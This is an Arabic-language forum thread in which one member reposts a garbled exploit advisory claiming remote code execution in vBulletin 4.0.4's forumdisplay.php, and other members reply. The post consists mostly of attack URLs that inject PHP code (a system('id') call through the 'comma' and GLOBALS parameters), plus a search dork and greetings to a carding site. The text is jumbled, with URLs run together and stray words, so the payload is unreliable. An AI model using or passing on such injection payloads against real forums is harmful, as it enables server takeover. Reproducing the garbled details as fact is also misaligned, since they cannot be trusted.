vBulletin v4.0.4 adserver Javascript (forumdisplay.php) Code Execution

[جيفارا المنصوري~]

كود PHP:

======================================================================vBulletin v4.0.4 adserver Javascript (forumdisplay.php) Code Execution======================================================================   /*======================================================================*\|| #################################################################### |||| # Vurnerebility vBulletin                            # |||| # Local or adserver Javascript,forumdisplay.php" Code Execution    # |||| # Version license 4.0.4                          # |||| # info set ******s, error issue & critical-information-disclosure  # |||| # Dork powered by vBulletin 4.0.4                      # |||| # author mc2_s3lector                          # |||| # Contact|http://www.yogyacarderlink.web.id                  # |||| #################################################################### ||\*======================================================================*/                         http://DNSname.com/patch/clientscript/vbulletin-core.js?v=http://DNSname.com/patch/clientscript/vbulletin-core.js?v=(value)http://DNSname.com/vb/forumdisplay.php?GLOBALS[]=http://DNSname.com/patch/forumdisplay.php?GLOBALS[]=1&f=2&comma=".system('id')."http://DNSname.com/vb/forumdisplay.php?GLOBALS[]=1&f=2&comma=content-type=".allow put chart/*======================================================================*\|# #####################################################################  | # gretz: all family(www.yogyacarderlink.web.id)            # |             |# v3n0m,m4rc0,eidelweis,Joglo,setanmuda,z0mb13,byebye,93l4p_9uL1t@,    # ||# IdioT_InsidE,dewancc,craxboy90,lingga,horcux,artupas,s0ul_34t3r,    # ||# mywisdom,Travis,a9d1co0L,L4zyb0i,Jastis & all              # ||# KeDaiComputerworks.org                        # ||# my bro one-d4y,elpaci4n0,Ariwira,h3ndry_Slank,raven_ville, t3j0,& all# |                              |# Indesign Computer Care,logcode.net,flowerjingga,.alboraaq.com    # | |  #####################################################################  |\*=============================================

=========================*/# Inj3ct0r.com [2010-08-19] 


اتمنى تعطوني شرح بسيط smilies14

المصدر: :: vBspiders Professional Network ::

---

Vspan style="font-weight: bold; color: #ff0000;"Cydv l[hf:VLspanC vBulletin v4>0>4 adserver Javascript (forumdisplay>php) Code Execution

[Dr.NaNo]

اهلا اخي الغالي اولا بالنسبه للشباب الي فوق اتمنى عدم الرد بهذا الاسلوب والافضل السكوت اذا لم تكن تعرف وشكرأ. .


ثانيـأ. اخي صاحب الموضوع مكان الموضوع ليس هنا وافضل المرات القادمه وضعه في قسم الاسئله والاستفسارات ياغالي ..


ثالثـأ. بالنسبه للثغره الي انت وضعتها ياريت تعطيني رابط لـ الثغرة لكي اشرحها لك بالتفصيل لان انت لما وضعه الثغره [ حطيتها بكون php لكـن لم يظهر شكلهـأ في المنتدى بشكل صحيح يعني ملخبطه لهذا افضل وضع رابطها او وضعها كامل في [ اقتباس وحول الكتابه لليسار ]. لكي تظهر ..





وبالتوفيق للجميع يارب.

[KaLa$nikoV]

الثغره نزلت بموقع انجكتور وهو الان واقف ....

واعتقد انها جميله لكني ما جربتها